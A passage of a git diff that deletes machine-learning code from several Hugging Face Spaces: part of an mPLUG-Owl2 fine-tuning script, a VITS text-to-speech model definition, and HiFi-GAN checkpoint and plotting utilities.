FIXME -# if 'image' in sources[0]: -# image_file = self.list_data_dict[i]['image'] -# image_folder = self.data_args.image_folder -# processor = self.data_args.image_processor -# image = Image.open(os.path.join(image_folder, image_file)).convert('RGB') -# if self.data_args.image_aspect_ratio == 'pad': -# def expand2square(pil_img, background_color): -# width, height = pil_img.size -# if width == height: -# return pil_img -# elif width > height: -# result = Image.new(pil_img.mode, (width, width), background_color) -# result.paste(pil_img, (0, (width - height) // 2)) -# return result -# else: -# result = Image.new(pil_img.mode, (height, height), background_color) -# result.paste(pil_img, ((height - width) // 2, 0)) -# return result -# image = expand2square(image, tuple(int(x*255) for x in processor.image_mean)) -# image = processor.preprocess(image, return_tensors='pt')['pixel_values'][0] -# else: -# image = processor.preprocess(image, return_tensors='pt')['pixel_values'][0] -# sources = preprocess_multimodal( -# copy.deepcopy([e["conversations"] for e in sources]), -# self.data_args) -# else: -# sources = copy.deepcopy([e["conversations"] for e in sources]) -# data_dict = preprocess( -# sources, -# self.tokenizer, -# has_image=('image' in self.list_data_dict[i])) -# if isinstance(i, int): -# data_dict = dict(input_ids=data_dict["input_ids"][0], -# labels=data_dict["labels"][0]) - -# # image exist in the data -# if 'image' in self.list_data_dict[i]: -# data_dict['image'] = image -# elif self.data_args.is_multimodal: -# # image does not exist in the data, but the model is multimodal -# crop_size = self.data_args.image_processor.crop_size -# data_dict['image'] = torch.zeros(3, crop_size['height'], crop_size['width']) -# return data_dict - - def next_rand(self): - import random - return random.randint(0,len(self)-1) - - def __getitem__(self, i) -> Dict[str, torch.Tensor]: - while True: - sources = self.list_data_dict[i] - if isinstance(i, int): - sources = [sources] - assert len(sources) == 1, "Don't know why it is wrapped to a list" # FIXME - if 'image' in sources[0]: - - image_file = self.list_data_dict[i]['image'] - image_folder = self.data_args.image_folder - processor = self.data_args.image_processor - from pathlib import Path - if not Path(os.path.join(image_folder, image_file)).exists(): - i = self.next_rand() - continue - image = Image.open(os.path.join(image_folder, image_file)).convert('RGB') - if self.data_args.image_aspect_ratio == 'pad': - def expand2square(pil_img, background_color): - width, height = pil_img.size - if width == height: - return pil_img - elif width > height: - result = Image.new(pil_img.mode, (width, width), background_color) - result.paste(pil_img, (0, (width - height) // 2)) - return result - else: - result = Image.new(pil_img.mode, (height, height), background_color) - result.paste(pil_img, ((height - width) // 2, 0)) - return result - image = expand2square(image, tuple(int(x*255) for x in processor.image_mean)) - image = processor.preprocess(image, return_tensors='pt')['pixel_values'][0] - else: - image = processor.preprocess(image, return_tensors='pt')['pixel_values'][0] - sources = preprocess_multimodal( - copy.deepcopy([e["conversations"] for e in sources]), - self.data_args) - else: - - sources = copy.deepcopy([e["conversations"] for e in sources]) - data_dict = preprocess( - sources, - self.tokenizer, - has_image=('image' in self.list_data_dict[i])) - if isinstance(i, int): - data_dict = dict(input_ids=data_dict["input_ids"][0], - labels=data_dict["labels"][0]) - - # image exist in the data - if 'image' in self.list_data_dict[i]: - data_dict['image'] = image - elif self.data_args.is_multimodal: - # image does not exist in the data, but the model is multimodal - crop_size = self.data_args.image_processor.crop_size - data_dict['image'] = torch.zeros(3, crop_size['height'], crop_size['width']) - return data_dict - - -@dataclass -class DataCollatorForSupervisedDataset(object): - """Collate examples for supervised fine-tuning.""" - - tokenizer: transformers.PreTrainedTokenizer - - def __call__(self, instances: Sequence[Dict]) -> Dict[str, torch.Tensor]: - input_ids, labels = tuple([instance[key] for instance in instances] - for key in ("input_ids", "labels")) - input_ids = torch.nn.utils.rnn.pad_sequence( - input_ids, - batch_first=True, - padding_value=self.tokenizer.pad_token_id) - labels = torch.nn.utils.rnn.pad_sequence(labels, - batch_first=True, - padding_value=IGNORE_INDEX) - input_ids = input_ids[:, :self.tokenizer.model_max_length] - labels = labels[:, :self.tokenizer.model_max_length] - batch = dict( - input_ids=input_ids, - labels=labels, - attention_mask=input_ids.ne(self.tokenizer.pad_token_id), - ) - - if 'image' in instances[0]: - images = [instance['image'] for instance in instances] - if all(x is not None and x.shape == images[0].shape for x in images): - batch['images'] = torch.stack(images) - else: - batch['images'] = images - - return batch - - -def make_supervised_data_module(tokenizer: transformers.PreTrainedTokenizer, - data_args) -> Dict: - """Make dataset and collator for supervised fine-tuning.""" - train_dataset = LazySupervisedDataset(tokenizer=tokenizer, - data_path=data_args.data_path, - data_args=data_args) - data_collator = DataCollatorForSupervisedDataset(tokenizer=tokenizer) - return dict(train_dataset=train_dataset, - eval_dataset=None, - data_collator=data_collator) - - -def train(): - global local_rank - - parser = transformers.HfArgumentParser( - (ModelArguments, DataArguments, TrainingArguments)) - model_args, data_args, training_args = parser.parse_args_into_dataclasses() - local_rank = training_args.local_rank - compute_dtype = (torch.float16 if training_args.fp16 else (torch.bfloat16 if training_args.bf16 else torch.float32)) - - bnb_model_from_pretrained_args = {} - if training_args.bits in [4, 8]: - from transformers import BitsAndBytesConfig - bnb_model_from_pretrained_args.update(dict( - device_map={"": training_args.device}, - load_in_4bit=training_args.bits == 4, - load_in_8bit=training_args.bits == 8, - quantization_config=BitsAndBytesConfig( - load_in_4bit=training_args.bits == 4, - load_in_8bit=training_args.bits == 8, - llm_int8_threshold=6.0, - llm_int8_has_fp16_weight=False, - bnb_4bit_compute_dtype=compute_dtype, - bnb_4bit_use_double_quant=training_args.double_quant, - bnb_4bit_quant_type=training_args.quant_type # {'fp4', 'nf4'} - ) - )) - - model = MPLUGOwl2LlamaForCausalLM.from_pretrained( - model_args.model_name_or_path, - cache_dir=training_args.cache_dir, - **bnb_model_from_pretrained_args - ) - model.config.use_cache = False - - if model_args.freeze_backbone: - model.model.requires_grad_(False) - - if training_args.bits in [4, 8]: - from peft import prepare_model_for_kbit_training - model.config.torch_dtype=(torch.float32 if training_args.fp16 else (torch.bfloat16 if training_args.bf16 else torch.float32)) - model = prepare_model_for_kbit_training(model, use_gradient_checkpointing=training_args.gradient_checkpointing) - - if training_args.gradient_checkpointing: - if hasattr(model, "enable_input_require_grads"): - model.enable_input_require_grads() - else: - def make_inputs_require_grad(module, input, output): - output.requires_grad_(True) - model.get_input_embeddings().register_forward_hook(make_inputs_require_grad) - - if training_args.lora_enable: - from peft import LoraConfig, get_peft_model - lora_config = LoraConfig( - r=training_args.lora_r, - lora_alpha=training_args.lora_alpha, - target_modules=find_all_linear_names(model), - lora_dropout=training_args.lora_dropout, - bias=training_args.lora_bias, - task_type="CAUSAL_LM", - ) - if training_args.bits == 16: - if training_args.bf16: - model.to(torch.bfloat16) - if training_args.fp16: - model.to(torch.float16) - rank0_print("Adding LoRA adapters...") - model = get_peft_model(model, lora_config) - - tokenizer = transformers.AutoTokenizer.from_pretrained( - model_args.model_name_or_path, - cache_dir=training_args.cache_dir, - model_max_length=training_args.model_max_length, - padding_side="right", - use_fast=False, - ) - - - tokenizer.pad_token = tokenizer.unk_token - if model_args.version in conversation_lib.conv_templates: - conversation_lib.default_conversation = conversation_lib.conv_templates[model_args.version] - else: - conversation_lib.default_conversation = conversation_lib.conv_templates["vicuna_v1"] - -# if model_args.vision_tower is not None: -# model.get_model().initialize_vision_modules( -# model_args=model_args, -# fsdp=training_args.fsdp -# ) - -# vision_tower = model.get_vision_tower() -# vision_tower.to(dtype=torch.bfloat16 if training_args.bf16 else torch.float16, device=training_args.device) - -# data_args.image_processor = vision_tower.image_processor -# data_args.is_multimodal = True - -# model.config.image_aspect_ratio = data_args.image_aspect_ratio -# model.config.image_grid_pinpoints = data_args.image_grid_pinpoints - -# model.config.tune_mm_mlp_adapter = training_args.tune_mm_mlp_adapter = model_args.tune_mm_mlp_adapter -# if model_args.tune_mm_mlp_adapter: -# model.requires_grad_(False) -# for p in model.get_model().mm_projector.parameters(): -# p.requires_grad = True - -# model.config.freeze_mm_mlp_adapter = training_args.freeze_mm_mlp_adapter -# if training_args.freeze_mm_mlp_adapter: -# for p in model.get_model().mm_projector.parameters(): -# p.requires_grad = False - -# if training_args.bits in [4, 8]: -# model.get_model().mm_projector.to(dtype=compute_dtype, device=training_args.device) - -# model.config.mm_use_im_start_end = data_args.mm_use_im_start_end = model_args.mm_use_im_start_end -# model.config.mm_projector_lr = training_args.mm_projector_lr -# training_args.use_im_start_end = model_args.mm_use_im_start_end -# model.config.mm_use_im_patch_token = model_args.mm_use_im_patch_token -# model.initialize_vision_tokenizer(model_args, tokenizer=tokenizer) - - # data_args.image_processor = vision_tower.image_processor - - if not training_args.freeze_vision_model and training_args.bits in [4, 8]: - model.get_model().vision_model.to(dtype=compute_dtype, device=training_args.device) - else: - vision_tower = model.get_model().vision_model - vision_tower.to(dtype=torch.bfloat16 if training_args.bf16 else torch.float16, device=training_args.device) - - if training_args.tune_visual_abstractor and training_args.bits in [4, 8]: - model.get_model().visual_abstractor.to(dtype=compute_dtype, device=training_args.device) - else: - visual_abstractor = model.get_model().visual_abstractor - visual_abstractor.to(dtype=torch.bfloat16 if training_args.bf16 else torch.float16, device=training_args.device) - - data_args.image_processor = CLIPImageProcessor.from_pretrained(model_args.model_name_or_path) - data_args.is_multimodal = True - - model.config.image_aspect_ratio = data_args.image_aspect_ratio - model.config.image_grid_pinpoints = data_args.image_grid_pinpoints - model.config.tune_visual_abstractor = model_args.tune_visual_abstractor = training_args.tune_visual_abstractor - ic(training_args.tune_visual_abstractor) - model.requires_grad_(True) - if training_args.tune_visual_abstractor: - # model.requires_grad_(False) - for p in model.get_model().visual_abstractor.parameters(): - p.requires_grad = True - - model.config.freeze_vision_model = training_args.freeze_vision_model - ic(training_args.freeze_vision_model) - if training_args.freeze_vision_model: - for p in model.get_model().vision_model.parameters(): - p.requires_grad = False - - model.config.visual_abstractor_lr = training_args.visual_abstractor_lr - - - if training_args.bits in [4, 8]: - from peft.tuners.lora import LoraLayer - for name, module in model.named_modules(): - if isinstance(module, LoraLayer): - if training_args.bf16: - module = module.to(torch.bfloat16) - if 'norm' in name: - module = module.to(torch.float32) - if 'lm_head' in name or 'embed_tokens' in name: - if hasattr(module, 'weight'): - if training_args.bf16 and module.weight.dtype == torch.float32: - module = module.to(torch.bfloat16) - - data_module = make_supervised_data_module(tokenizer=tokenizer, - data_args=data_args) - trainer = MPLUGOwl2Trainer(model=model, - tokenizer=tokenizer, - args=training_args, - **data_module) - - # if list(pathlib.Path(training_args.output_dir).glob("checkpoint-*")): - # trainer.train(resume_from_checkpoint=True) - # else: - # trainer.train() - - # TODO I dont like auto resume << REMOVE IT AND UNCOMMENT THE ABOVE CODE - trainer.train() - - trainer.save_state() - - model.config.use_cache = True - - if training_args.lora_enable: - state_dict = get_peft_state_maybe_zero_3( - model.named_parameters(), training_args.lora_bias - ) - non_lora_state_dict = get_peft_state_non_lora_maybe_zero_3( - model.named_parameters() - ) - if training_args.local_rank == 0 or training_args.local_rank == -1: - model.config.save_pretrained(training_args.output_dir) - model.save_pretrained(training_args.output_dir, state_dict=state_dict) - torch.save(non_lora_state_dict, os.path.join(training_args.output_dir, 'non_lora_trainables.bin')) - else: - safe_save_model_for_hf_trainer(trainer=trainer, - output_dir=training_args.output_dir) - - -if __name__ == "__main__": - train() \ No newline at end of file diff --git a/spaces/Mahiruoshi/vits-chatbot/models.py b/spaces/Mahiruoshi/vits-chatbot/models.py deleted file mode 100644 index 4c4585172a5c56aa36f1f3156762349fbec11a8b..0000000000000000000000000000000000000000 --- a/spaces/Mahiruoshi/vits-chatbot/models.py +++ /dev/null @@ -1,498 +0,0 @@ -import math - -import torch -from torch import nn -from torch.nn import Conv1d, ConvTranspose1d, Conv2d -from torch.nn import functional as F -from torch.nn.utils import weight_norm, remove_weight_norm, spectral_norm - -import attentions -import commons -import modules -from commons import init_weights, get_padding - - -class StochasticDurationPredictor(nn.Module): - def __init__(self, in_channels, filter_channels, kernel_size, p_dropout, n_flows=4, gin_channels=0): - super().__init__() - filter_channels = in_channels # it needs to be removed from future version. - self.in_channels = in_channels - self.filter_channels = filter_channels - self.kernel_size = kernel_size - self.p_dropout = p_dropout - self.n_flows = n_flows - self.gin_channels = gin_channels - - self.log_flow = modules.Log() - self.flows = nn.ModuleList() - self.flows.append(modules.ElementwiseAffine(2)) - for i in range(n_flows): - self.flows.append(modules.ConvFlow(2, filter_channels, kernel_size, n_layers=3)) - self.flows.append(modules.Flip()) - - self.post_pre = nn.Conv1d(1, filter_channels, 1) - self.post_proj = nn.Conv1d(filter_channels, filter_channels, 1) - self.post_convs = modules.DDSConv(filter_channels, kernel_size, n_layers=3, p_dropout=p_dropout) - self.post_flows = nn.ModuleList() - self.post_flows.append(modules.ElementwiseAffine(2)) - for i in range(4): - self.post_flows.append(modules.ConvFlow(2, filter_channels, kernel_size, n_layers=3)) - self.post_flows.append(modules.Flip()) - - self.pre = nn.Conv1d(in_channels, filter_channels, 1) - self.proj = nn.Conv1d(filter_channels, filter_channels, 1) - self.convs = modules.DDSConv(filter_channels, kernel_size, n_layers=3, p_dropout=p_dropout) - if gin_channels != 0: - self.cond = nn.Conv1d(gin_channels, filter_channels, 1) - - def forward(self, x, x_mask, w=None, g=None, reverse=False, noise_scale=1.0): - x = torch.detach(x) - x = self.pre(x) - if g is not None: - g = torch.detach(g) - x = x + self.cond(g) - x = self.convs(x, x_mask) - x = self.proj(x) * x_mask - - if not reverse: - flows = self.flows - assert w is not None - - logdet_tot_q = 0 - h_w = self.post_pre(w) - h_w = self.post_convs(h_w, x_mask) - h_w = self.post_proj(h_w) * x_mask - e_q = torch.randn(w.size(0), 2, w.size(2)).to(device=x.device, dtype=x.dtype) * x_mask - z_q = e_q - for flow in self.post_flows: - z_q, logdet_q = flow(z_q, x_mask, g=(x + h_w)) - logdet_tot_q += logdet_q - z_u, z1 = torch.split(z_q, [1, 1], 1) - u = torch.sigmoid(z_u) * x_mask - z0 = (w - u) * x_mask - logdet_tot_q += torch.sum((F.logsigmoid(z_u) + F.logsigmoid(-z_u)) * x_mask, [1, 2]) - logq = torch.sum(-0.5 * (math.log(2 * math.pi) + (e_q ** 2)) * x_mask, [1, 2]) - logdet_tot_q - - logdet_tot = 0 - z0, logdet = self.log_flow(z0, x_mask) - logdet_tot += logdet - z = torch.cat([z0, z1], 1) - for flow in flows: - z, logdet = flow(z, x_mask, g=x, reverse=reverse) - logdet_tot = logdet_tot + logdet - nll = torch.sum(0.5 * (math.log(2 * math.pi) + (z ** 2)) * x_mask, [1, 2]) - logdet_tot - return nll + logq # [b] - else: - flows = list(reversed(self.flows)) - flows = flows[:-2] + [flows[-1]] # remove a useless vflow - z = torch.randn(x.size(0), 2, x.size(2)).to(device=x.device, dtype=x.dtype) * noise_scale - for flow in flows: - z = flow(z, x_mask, g=x, reverse=reverse) - z0, z1 = torch.split(z, [1, 1], 1) - logw = z0 - return logw - - -class DurationPredictor(nn.Module): - def __init__(self, in_channels, filter_channels, kernel_size, p_dropout, gin_channels=0): - super().__init__() - - self.in_channels = in_channels - self.filter_channels = filter_channels - self.kernel_size = kernel_size - self.p_dropout = p_dropout - self.gin_channels = gin_channels - - self.drop = nn.Dropout(p_dropout) - self.conv_1 = nn.Conv1d(in_channels, filter_channels, kernel_size, padding=kernel_size // 2) - self.norm_1 = modules.LayerNorm(filter_channels) - self.conv_2 = nn.Conv1d(filter_channels, filter_channels, kernel_size, padding=kernel_size // 2) - self.norm_2 = modules.LayerNorm(filter_channels) - self.proj = nn.Conv1d(filter_channels, 1, 1) - - if gin_channels != 0: - self.cond = nn.Conv1d(gin_channels, in_channels, 1) - - def forward(self, x, x_mask, g=None): - x = torch.detach(x) - if g is not None: - g = torch.detach(g) - x = x + self.cond(g) - x = self.conv_1(x * x_mask) - x = torch.relu(x) - x = self.norm_1(x) - x = self.drop(x) - x = self.conv_2(x * x_mask) - x = torch.relu(x) - x = self.norm_2(x) - x = self.drop(x) - x = self.proj(x * x_mask) - return x * x_mask - - -class TextEncoder(nn.Module): - def __init__(self, - n_vocab, - out_channels, - hidden_channels, - filter_channels, - n_heads, - n_layers, - kernel_size, - p_dropout): - super().__init__() - self.n_vocab = n_vocab - self.out_channels = out_channels - self.hidden_channels = hidden_channels - self.filter_channels = filter_channels - self.n_heads = n_heads - self.n_layers = n_layers - self.kernel_size = kernel_size - self.p_dropout = p_dropout - - if self.n_vocab != 0: - self.emb = nn.Embedding(n_vocab, hidden_channels) - nn.init.normal_(self.emb.weight, 0.0, hidden_channels ** -0.5) - - self.encoder = attentions.Encoder( - hidden_channels, - filter_channels, - n_heads, - n_layers, - kernel_size, - p_dropout) - self.proj = nn.Conv1d(hidden_channels, out_channels * 2, 1) - - def forward(self, x, x_lengths): - if self.n_vocab != 0: - x = self.emb(x) * math.sqrt(self.hidden_channels) # [b, t, h] - x = torch.transpose(x, 1, -1) # [b, h, t] - x_mask = torch.unsqueeze(commons.sequence_mask(x_lengths, x.size(2)), 1).to(x.dtype) - - x = self.encoder(x * x_mask, x_mask) - stats = self.proj(x) * x_mask - - m, logs = torch.split(stats, self.out_channels, dim=1) - return x, m, logs, x_mask - - -class ResidualCouplingBlock(nn.Module): - def __init__(self, - channels, - hidden_channels, - kernel_size, - dilation_rate, - n_layers, - n_flows=4, - gin_channels=0): - super().__init__() - self.channels = channels - self.hidden_channels = hidden_channels - self.kernel_size = kernel_size - self.dilation_rate = dilation_rate - self.n_layers = n_layers - self.n_flows = n_flows - self.gin_channels = gin_channels - - self.flows = nn.ModuleList() - for i in range(n_flows): - self.flows.append( - modules.ResidualCouplingLayer(channels, hidden_channels, kernel_size, dilation_rate, n_layers, - gin_channels=gin_channels, mean_only=True)) - self.flows.append(modules.Flip()) - - def forward(self, x, x_mask, g=None, reverse=False): - if not reverse: - for flow in self.flows: - x, _ = flow(x, x_mask, g=g, reverse=reverse) - else: - for flow in reversed(self.flows): - x = flow(x, x_mask, g=g, reverse=reverse) - return x - - -class PosteriorEncoder(nn.Module): - def __init__(self, - in_channels, - out_channels, - hidden_channels, - kernel_size, - dilation_rate, - n_layers, - gin_channels=0): - super().__init__() - self.in_channels = in_channels - self.out_channels = out_channels - self.hidden_channels = hidden_channels - self.kernel_size = kernel_size - self.dilation_rate = dilation_rate - self.n_layers = n_layers - self.gin_channels = gin_channels - - self.pre = nn.Conv1d(in_channels, hidden_channels, 1) - self.enc = modules.WN(hidden_channels, kernel_size, dilation_rate, n_layers, gin_channels=gin_channels) - self.proj = nn.Conv1d(hidden_channels, out_channels * 2, 1) - - def forward(self, x, x_lengths, g=None): - x_mask = torch.unsqueeze(commons.sequence_mask(x_lengths, x.size(2)), 1).to(x.dtype) - x = self.pre(x) * x_mask - x = self.enc(x, x_mask, g=g) - stats = self.proj(x) * x_mask - m, logs = torch.split(stats, self.out_channels, dim=1) - z = (m + torch.randn_like(m) * torch.exp(logs)) * x_mask - return z, m, logs, x_mask - - -class Generator(torch.nn.Module): - def __init__(self, initial_channel, resblock, resblock_kernel_sizes, resblock_dilation_sizes, upsample_rates, - upsample_initial_channel, upsample_kernel_sizes, gin_channels=0): - super(Generator, self).__init__() - self.num_kernels = len(resblock_kernel_sizes) - self.num_upsamples = len(upsample_rates) - self.conv_pre = Conv1d(initial_channel, upsample_initial_channel, 7, 1, padding=3) - resblock = modules.ResBlock1 if resblock == '1' else modules.ResBlock2 - - self.ups = nn.ModuleList() - for i, (u, k) in enumerate(zip(upsample_rates, upsample_kernel_sizes)): - self.ups.append(weight_norm( - ConvTranspose1d(upsample_initial_channel // (2 ** i), upsample_initial_channel // (2 ** (i + 1)), - k, u, padding=(k - u) // 2))) - - self.resblocks = nn.ModuleList() - for i in range(len(self.ups)): - ch = upsample_initial_channel // (2 ** (i + 1)) - for j, (k, d) in enumerate(zip(resblock_kernel_sizes, resblock_dilation_sizes)): - self.resblocks.append(resblock(ch, k, d)) - - self.conv_post = Conv1d(ch, 1, 7, 1, padding=3, bias=False) - self.ups.apply(init_weights) - - if gin_channels != 0: - self.cond = nn.Conv1d(gin_channels, upsample_initial_channel, 1) - - def forward(self, x, g=None): - x = self.conv_pre(x) - if g is not None: - x = x + self.cond(g) - - for i in range(self.num_upsamples): - x = F.leaky_relu(x, modules.LRELU_SLOPE) - x = self.ups[i](x) - xs = None - for j in range(self.num_kernels): - if xs is None: - xs = self.resblocks[i * self.num_kernels + j](x) - else: - xs += self.resblocks[i * self.num_kernels + j](x) - x = xs / self.num_kernels - x = F.leaky_relu(x) - x = self.conv_post(x) - x = torch.tanh(x) - - return x - - def remove_weight_norm(self): - print('Removing weight norm...') - for l in self.ups: - remove_weight_norm(l) - for l in self.resblocks: - l.remove_weight_norm() - - -class DiscriminatorP(torch.nn.Module): - def __init__(self, period, kernel_size=5, stride=3, use_spectral_norm=False): - super(DiscriminatorP, self).__init__() - self.period = period - self.use_spectral_norm = use_spectral_norm - norm_f = weight_norm if use_spectral_norm == False else spectral_norm - self.convs = nn.ModuleList([ - norm_f(Conv2d(1, 32, (kernel_size, 1), (stride, 1), padding=(get_padding(kernel_size, 1), 0))), - norm_f(Conv2d(32, 128, (kernel_size, 1), (stride, 1), padding=(get_padding(kernel_size, 1), 0))), - norm_f(Conv2d(128, 512, (kernel_size, 1), (stride, 1), padding=(get_padding(kernel_size, 1), 0))), - norm_f(Conv2d(512, 1024, (kernel_size, 1), (stride, 1), padding=(get_padding(kernel_size, 1), 0))), - norm_f(Conv2d(1024, 1024, (kernel_size, 1), 1, padding=(get_padding(kernel_size, 1), 0))), - ]) - self.conv_post = norm_f(Conv2d(1024, 1, (3, 1), 1, padding=(1, 0))) - - def forward(self, x): - fmap = [] - - # 1d to 2d - b, c, t = x.shape - if t % self.period != 0: # pad first - n_pad = self.period - (t % self.period) - x = F.pad(x, (0, n_pad), "reflect") - t = t + n_pad - x = x.view(b, c, t // self.period, self.period) - - for l in self.convs: - x = l(x) - x = F.leaky_relu(x, modules.LRELU_SLOPE) - fmap.append(x) - x = self.conv_post(x) - fmap.append(x) - x = torch.flatten(x, 1, -1) - - return x, fmap - - -class DiscriminatorS(torch.nn.Module): - def __init__(self, use_spectral_norm=False): - super(DiscriminatorS, self).__init__() - norm_f = weight_norm if use_spectral_norm == False else spectral_norm - self.convs = nn.ModuleList([ - norm_f(Conv1d(1, 16, 15, 1, padding=7)), - norm_f(Conv1d(16, 64, 41, 4, groups=4, padding=20)), - norm_f(Conv1d(64, 256, 41, 4, groups=16, padding=20)), - norm_f(Conv1d(256, 1024, 41, 4, groups=64, padding=20)), - norm_f(Conv1d(1024, 1024, 41, 4, groups=256, padding=20)), - norm_f(Conv1d(1024, 1024, 5, 1, padding=2)), - ]) - self.conv_post = norm_f(Conv1d(1024, 1, 3, 1, padding=1)) - - def forward(self, x): - fmap = [] - - for l in self.convs: - x = l(x) - x = F.leaky_relu(x, modules.LRELU_SLOPE) - fmap.append(x) - x = self.conv_post(x) - fmap.append(x) - x = torch.flatten(x, 1, -1) - - return x, fmap - - -class MultiPeriodDiscriminator(torch.nn.Module): - def __init__(self, use_spectral_norm=False): - super(MultiPeriodDiscriminator, self).__init__() - periods = [2, 3, 5, 7, 11] - - discs = [DiscriminatorS(use_spectral_norm=use_spectral_norm)] - discs = discs + [DiscriminatorP(i, use_spectral_norm=use_spectral_norm) for i in periods] - self.discriminators = nn.ModuleList(discs) - - def forward(self, y, y_hat): - y_d_rs = [] - y_d_gs = [] - fmap_rs = [] - fmap_gs = [] - for i, d in enumerate(self.discriminators): - y_d_r, fmap_r = d(y) - y_d_g, fmap_g = d(y_hat) - y_d_rs.append(y_d_r) - y_d_gs.append(y_d_g) - fmap_rs.append(fmap_r) - fmap_gs.append(fmap_g) - - return y_d_rs, y_d_gs, fmap_rs, fmap_gs - - -class SynthesizerTrn(nn.Module): - """ - Synthesizer for Training - """ - - def __init__(self, - n_vocab, - spec_channels, - segment_size, - inter_channels, - hidden_channels, - filter_channels, - n_heads, - n_layers, - kernel_size, - p_dropout, - resblock, - resblock_kernel_sizes, - resblock_dilation_sizes, - upsample_rates, - upsample_initial_channel, - upsample_kernel_sizes, - n_speakers=0, - gin_channels=0, - use_sdp=True, - **kwargs): - - super().__init__() - self.n_vocab = n_vocab - self.spec_channels = spec_channels - self.inter_channels = inter_channels - self.hidden_channels = hidden_channels - self.filter_channels = filter_channels - self.n_heads = n_heads - self.n_layers = n_layers - self.kernel_size = kernel_size - self.p_dropout = p_dropout - self.resblock = resblock - self.resblock_kernel_sizes = resblock_kernel_sizes - self.resblock_dilation_sizes = resblock_dilation_sizes - self.upsample_rates = upsample_rates - self.upsample_initial_channel = upsample_initial_channel - self.upsample_kernel_sizes = upsample_kernel_sizes - self.segment_size = segment_size - self.n_speakers = n_speakers - self.gin_channels = gin_channels - - self.use_sdp = use_sdp - - self.enc_p = TextEncoder(n_vocab, - inter_channels, - hidden_channels, - filter_channels, - n_heads, - n_layers, - kernel_size, - p_dropout) - self.dec = Generator(inter_channels, resblock, resblock_kernel_sizes, resblock_dilation_sizes, upsample_rates, - upsample_initial_channel, upsample_kernel_sizes, gin_channels=gin_channels) - self.enc_q = PosteriorEncoder(spec_channels, inter_channels, hidden_channels, 5, 1, 16, - gin_channels=gin_channels) - self.flow = ResidualCouplingBlock(inter_channels, hidden_channels, 5, 1, 4, gin_channels=gin_channels) - - if use_sdp: - self.dp = StochasticDurationPredictor(hidden_channels, 192, 3, 0.5, 4, gin_channels=gin_channels) - else: - self.dp = DurationPredictor(hidden_channels, 256, 3, 0.5, gin_channels=gin_channels) - - if n_speakers > 1: - self.emb_g = nn.Embedding(n_speakers, gin_channels) - - def infer(self, x, x_lengths, sid=None, noise_scale=1, length_scale=1, noise_scale_w=1., max_len=None): - x, m_p, logs_p, x_mask = self.enc_p(x, x_lengths) - if self.n_speakers > 0: - g = self.emb_g(sid).unsqueeze(-1) # [b, h, 1] - else: - g = None - - if self.use_sdp: - logw = self.dp(x, x_mask, g=g, reverse=True, noise_scale=noise_scale_w) - else: - logw = self.dp(x, x_mask, g=g) - w = torch.exp(logw) * x_mask * length_scale - w_ceil = torch.ceil(w) - y_lengths = torch.clamp_min(torch.sum(w_ceil, [1, 2]), 1).long() - y_mask = torch.unsqueeze(commons.sequence_mask(y_lengths, None), 1).to(x_mask.dtype) - attn_mask = torch.unsqueeze(x_mask, 2) * torch.unsqueeze(y_mask, -1) - attn = commons.generate_path(w_ceil, attn_mask) - - m_p = torch.matmul(attn.squeeze(1), m_p.transpose(1, 2)).transpose(1, 2) # [b, t', t], [b, t, d] -> [b, d, t'] - logs_p = torch.matmul(attn.squeeze(1), logs_p.transpose(1, 2)).transpose(1, - 2) # [b, t', t], [b, t, d] -> [b, d, t'] - - z_p = m_p + torch.randn_like(m_p) * torch.exp(logs_p) * noise_scale - z = self.flow(z_p, y_mask, g=g, reverse=True) - o = self.dec((z * y_mask)[:, :, :max_len], g=g) - return o, attn, y_mask, (z, z_p, m_p, logs_p) - - def voice_conversion(self, y, y_lengths, sid_src, sid_tgt): - assert self.n_speakers > 0, "n_speakers have to be larger than 0." - g_src = self.emb_g(sid_src).unsqueeze(-1) - g_tgt = self.emb_g(sid_tgt).unsqueeze(-1) - z, m_q, logs_q, y_mask = self.enc_q(y, y_lengths, g=g_src) - z_p = self.flow(z, y_mask, g=g_src) - z_hat = self.flow(z_p, y_mask, g=g_tgt, reverse=True) - o_hat = self.dec(z_hat * y_mask, g=g_tgt) - return o_hat, y_mask, (z, z_p, z_hat) diff --git a/spaces/Manmay/tortoise-tts/tortoise/__init__.py b/spaces/Manmay/tortoise-tts/tortoise/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/spaces/MashiroSA/sovits-emu-voice-transform/hubert/__init__.py b/spaces/MashiroSA/sovits-emu-voice-transform/hubert/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/spaces/MashiroSA/sovits-emu-voice-transform/vdecoder/nsf_hifigan/utils.py b/spaces/MashiroSA/sovits-emu-voice-transform/vdecoder/nsf_hifigan/utils.py deleted file mode 100644 index 84bff024f4d2e2de194b2a88ee7bbe5f0d33f67c..0000000000000000000000000000000000000000 --- a/spaces/MashiroSA/sovits-emu-voice-transform/vdecoder/nsf_hifigan/utils.py +++ /dev/null @@ -1,68 +0,0 @@ -import glob -import os -import matplotlib -import torch -from torch.nn.utils import weight_norm -matplotlib.use("Agg") -import matplotlib.pylab as plt - - -def plot_spectrogram(spectrogram): - fig, ax = plt.subplots(figsize=(10, 2)) - im = ax.imshow(spectrogram, aspect="auto", origin="lower", - interpolation='none') - plt.colorbar(im, ax=ax) - - fig.canvas.draw() - plt.close() - - return fig - - -def init_weights(m, mean=0.0, std=0.01): - classname = m.__class__.__name__ - if classname.find("Conv") != -1: - m.weight.data.normal_(mean, std) - - -def apply_weight_norm(m): - classname = m.__class__.__name__ - if classname.find("Conv") != -1: - weight_norm(m) - - -def get_padding(kernel_size, dilation=1): - return int((kernel_size*dilation - dilation)/2) - - -def load_checkpoint(filepath, device): - assert os.path.isfile(filepath) - print("Loading '{}'".format(filepath)) - checkpoint_dict = torch.load(filepath, map_location=device) - print("Complete.") - return checkpoint_dict - - -def save_checkpoint(filepath, obj): - print("Saving checkpoint to {}".format(filepath)) - torch.save(obj, filepath) - print("Complete.") - - -def del_old_checkpoints(cp_dir, prefix, n_models=2): - pattern = os.path.join(cp_dir, prefix + '????????') - cp_list = glob.glob(pattern) # get checkpoint paths - cp_list = sorted(cp_list)# sort by iter - if len(cp_list) > n_models: # if more than n_models models are found - for cp in cp_list[:-n_models]:# delete the oldest models other than lastest n_models - open(cp, 'w').close()# empty file contents - os.unlink(cp)# delete file (move to trash when using Colab) - - -def scan_checkpoint(cp_dir, prefix): - pattern = os.path.join(cp_dir, prefix + '????????') - cp_list = glob.glob(pattern) - if len(cp_list) == 0: - return None - return sorted(cp_list)[-1] - diff --git 